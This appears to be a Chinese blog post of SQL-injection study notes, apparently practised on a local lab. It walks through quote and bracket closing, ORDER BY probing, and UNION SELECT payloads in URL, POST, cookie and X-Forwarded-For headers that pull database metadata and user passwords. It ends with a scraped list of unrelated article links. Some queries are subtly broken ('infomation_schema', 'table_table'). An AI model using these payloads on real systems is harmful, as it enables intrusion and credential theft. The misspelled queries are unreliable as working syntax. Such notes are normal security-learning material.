补充:MySQL注释方法

文章目录

  • MySQL注入
    • 基本介绍
      • 字符型
      • 数字型
      • 搜索型
      • Cookie注入
      • HTTP头注入
    • 具体实例
      • 数字型注入
        • 一般类型
        • 被单引号包裹起来的
        • 双引号加小括号包裹
        • 两个括号
      • 字符型注入
      • 搜索型注入
      • Cookie注入
      • HTTP头注入

MySQL注入

基本介绍

字符型

有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句

$sql="SELECT * FROM users WHERE id= '$id'";
闭合前面的单引号把后面的单引号注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=(('$id' ))
闭合单引号,闭合两个括号把后面的都注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=('$id')";
闭合单引号,闭合括号把后面的都注释掉跟上sql语句
$id ='"'.$id.'"'
$sql = "SELECT * FROM users WHERE id = $id";
闭合前面的双引号再注释后面的双引号
$id = '("'.$id.'")';
$sql = "SELECT * FROM users WHERE id = $id";

数字型

字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型
其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别

$sql="SELECT * FROM users WHERE id=$id";

搜索型

就是post型的提交方式

Cookie注入

HTTP头注入

X-Forwarded-For
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。

具体实例

数字型注入

一般类型

因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入
如何判断:'url?id=1+1’如果成功返回数据则为数字型注入+=%2b

首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3

查当前数据库名,版本,用户
url?id = 1 union select database(),version(),user()

查询有什么表
url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()

查询列名:
url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'

查询数据:
url?id = 1 union select id,username,password from users

被单引号包裹起来的



在之后我们拼接and 1=1 and 1= 2,发现没有报错

之后加上id = 1'单引号后报错,不正常说明sql语句可控
在Mysql中--+代表注释此时id = 1'--+成功执行

之后插上id = 1 and 1=2'-- +不正常,即可食用之后类似上面一般类型

双引号加小括号包裹


首先查看id = 1

类似上面?id = 1') and 1 = 2-- +发现1=1和1=2成功执行

两个括号



采用? id = 1')) union select 1,2,3 -- +

字符型注入

如果在url后拼接?id=1 and 1=1orand 1=2分别正确错误则说明为字符型注入
注入方式和数字型类似

搜索型注入


%代表%前面可以有字符后面也可以有
配合HackBar食用

post数据name = a' union select 1,2,3 -- +

Cookie注入


配合Burp使用

改为Cookie: uid = 1 union select 1,2,3

HTTP头注入


配合Burp食用

添加XFF头

完美成功!!!
127.0.0.1' order by 4-- +成功,配合联合查询即可!!!

看图

SQL注入之MySQL注入学习笔记(二)相关推荐

  1. Mysql 优化(学习笔记二十)

    https://blog.csdn.net/steven_liwen/article/details/53188411 运维角度mysql优化:https://www.cnblogs.com/shen ...

  2. MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)...

    [声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...

  3. Spring Boot 框架学习笔记(二)(配置文件与数据注入 yaml基本语法 JSR303数据验证 多环境切换 )

    Spring Boot 框架学习笔记(二) 六.appliaction.properties配置与数据注入 6.1 `@Value`注解 测试注入数据 读取输入流 6.2 读取配置文件数据注入 单文件 ...

  4. MySQL数据库学习笔记(十二)----开源工具DbUtils的使用(数据库的增删改查)

    [声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...

  5. SQL注入之MySQL注入姿势及绕过

    SQL注入之MySQL注入姿势及绕过 参考链接: https://xz.aliyun.com/t/10594 感受 1. 写的详细,并且绕过姿势也很多,大佬级人物 2. 在网上发现类似的文章,感觉这就 ...

  6. Mysql学习笔记(二)——表格及数据的插入

    Mysql学习笔记(二)--表格及数据的插入 文章目录 Mysql学习笔记(二)--表格及数据的插入 1.Mysql常用指令 2.创建表格 A.数据类型 B.完整性约束条件 3.查看表格 4.修改表格 ...

  7. linux数据库创建score表,MySQL数据库学习笔记

    MySQL数据库学习笔记phpma (实验环境:Redhat9.0,MySQL3.23.54) 纲要: 一,连接MySQL phpma 二,MySQL管理与授权 三,数据库简单操作 四, 数据库备份 ...

  8. MySQL 索引学习笔记

    MySQL 索引学习笔记 索引基本概念 索引优点 B-Tree 索引 基本原理 使用场景 使用限制 哈希索引 基本原理 使用限制 自适应哈希索引 处理哈希冲突 相关面试题 高性能索引策略 独立的列 前 ...

  9. MySQL 8——学习笔记03(插入、更新、删除 数据 [DML语句]、查询数据 [DQL语句])

    MySQL 8--学习笔记03(插入.更新.删除 数据 [DML语句]) 一.插入数据 1.1 插入所有字段.插入部分字段 1.2 同时插入多条记录(批量插入) 1.3 将查询结果插入到表中 二.更新 ...

  10. 最新、最全、最详细的 MySQL 数据库学习笔记总结(2021最新版)

    数据库是什么 数据库管理系统,简称为DBMS(Database Management System),是用来存储数据的管理系统. DBMS 的重要性 无法多人共享数据 无法提供操作大量数据所需的格式 ...

最新文章

  1. jQuery学习(第一天)
  2. CentOS7上安装KVM部署虚拟机
  3. k-Nearest Neighbors 实战1 简单的电影分类实例
  4. 魔兽世界工程学技能1-375冲级攻略
  5. android设置输入框输入字符限制,Android EditText限制输入字符的方法总结
  6. day10 多进程、多线程(一)
  7. 第一章 WebGL简介 Introduction
  8. Mysql之查询基础select
  9. 用windows命令开启远程桌面
  10. 使用Tesseract对图片文字OCR识别
  11. jpg怎么合成一份_怎么将多个jpg合并成一个pdf
  12. python实现qq空间自动点赞
  13. 网络连接不正常是什么原因
  14. iOS开发之高仿斗鱼tv初探
  15. 激活后服务器无限重启,服务器无限重启
  16. React Hooks 详解
  17. discuz论坛网站更换域名的方法及步骤
  18. 微信文件传输助手文件存储位置问题
  19. CentOS6.5安装NVIDIA的显卡驱动
  20. RabbitMQ消息模型详解

热门文章

  1. 计算机丢失libcurl.dll怎样安装,win10电脑libcurl.dll丢失的解决方法 - 系统家园
  2. MySQL-4多表操作
  3. js websocket自动重连机制(心跳后续)
  4. oracle旬统计,oracle获取上一旬的开始时间和结束时间的实现函数
  5. Android AP侧和Modem侧日志时间差异大
  6. Java语言程序设计---期末复习
  7. 古天乐养生经验——如何保持身体健康?
  8. 26岁当上数据总监,分享第一次做Leader的心得
  9. 【计算机网络】互联网概述
  10. 标识和可追溯性要求_3条规则制定,设计和可追溯性的简单指南